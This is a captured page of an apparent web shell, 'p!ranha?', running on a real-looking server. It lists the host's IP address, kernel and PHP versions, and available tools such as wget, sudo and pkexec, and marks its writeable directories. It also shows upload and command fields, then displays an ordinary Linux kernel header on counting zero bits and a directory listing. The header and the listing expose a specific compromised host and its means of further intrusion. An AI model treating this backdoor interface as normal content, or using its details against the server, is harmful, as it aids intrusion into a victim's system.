p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/asm-generic/bitops/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/asm-generic/bitops/count_zeros.h
/* Count leading and trailing zeros functions
 *
 * Copyright (C) 2012 Red Hat, Inc. All Rights Reserved.
 * Written by David Howells (dhowells@redhat.com)
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public Licence
 * as published by the Free Software Foundation; either version
 * 2 of the Licence, or (at your option) any later version.
 */

#ifndef _ASM_GENERIC_BITOPS_COUNT_ZEROS_H_
#define _ASM_GENERIC_BITOPS_COUNT_ZEROS_H_

#include <asm/bitops.h>

/**
 * count_leading_zeros - Count the number of zeros from the MSB back
 * @x: The value
 *
 * Count the number of leading zeros from the MSB going towards the LSB in @x.
 *
 * If the MSB of @x is set, the result is 0.
 * If only the LSB of @x is set, then the result is BITS_PER_LONG-1.
 * If @x is 0 then the result is COUNT_LEADING_ZEROS_0.
 */
static inline int count_leading_zeros(unsigned long x)
{
	if (sizeof(x) == 4)
		return BITS_PER_LONG - fls(x);
	else
		return BITS_PER_LONG - fls64(x);
}

#define COUNT_LEADING_ZEROS_0 BITS_PER_LONG

/**
 * count_trailing_zeros - Count the number of zeros from the LSB forwards
 * @x: The value
 *
 * Count the number of trailing zeros from the LSB going towards the MSB in @x.
 *
 * If the LSB of @x is set, the result is 0.
 * If only the MSB of @x is set, then the result is BITS_PER_LONG-1.
 * If @x is 0 then the result is COUNT_TRAILING_ZEROS_0.
 */
static inline int count_trailing_zeros(unsigned long x)
{
#define COUNT_TRAILING_ZEROS_0 (-1)

	if (sizeof(x) == 4)
		return ffs(x);
	else
		return (x != 0) ? __ffs(x) : COUNT_TRAILING_ZEROS_0;
}

#endif /* _ASM_GENERIC_BITOPS_COUNT_ZEROS_H_ */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:10
0 / 0
0755
__ffs.h
0.721 KB
November 06 2023 09:15:52
0 / 0
0644
__fls.h
0.86 KB
November 06 2023 09:15:52
0 / 0
0644
arch_hweight.h
0.504 KB
November 06 2023 09:15:52
0 / 0
0644
atomic.h
5.464 KB
November 06 2023 09:15:52
0 / 0
0644
builtin-__ffs.h
0.332 KB
November 06 2023 09:15:52
0 / 0
0644
builtin-__fls.h
0.388 KB
November 06 2023 09:15:52
0 / 0
0644
builtin-ffs.h
0.362 KB
November 06 2023 09:15:52
0 / 0
0644
builtin-fls.h
0.355 KB
November 06 2023 09:15:52
0 / 0
0644
const_hweight.h
1.633 KB
November 06 2023 09:15:52
0 / 0
0644
count_zeros.h
1.639 KB
November 06 2023 09:15:52
0 / 0
0644
ext2-atomic-setbit.h
0.355 KB
November 06 2023 09:15:52
0 / 0
0644
ext2-atomic.h
0.548 KB
November 06 2023 09:15:52
0 / 0
0644
ffs.h
0.601 KB
November 06 2023 09:15:52
0 / 0
0644
ffz.h
0.279 KB
November 06 2023 09:15:52
0 / 0
0644
find.h
1.634 KB
November 06 2023 09:15:52
0 / 0
0644
fls.h
0.62 KB
November 06 2023 09:15:52
0 / 0
0644
fls64.h
0.802 KB
November 06 2023 09:15:52
0 / 0
0644
hweight.h
0.21 KB
November 06 2023 09:15:52
0 / 0
0644
le.h
2.148 KB
November 06 2023 09:15:52
0 / 0
0644
lock.h
1.318 KB
November 06 2023 09:15:52
0 / 0
0644
non-atomic.h
2.96 KB
November 06 2023 09:15:52
0 / 0
0644
sched.h
0.704 KB
November 06 2023 09:15:52
0 / 0
0644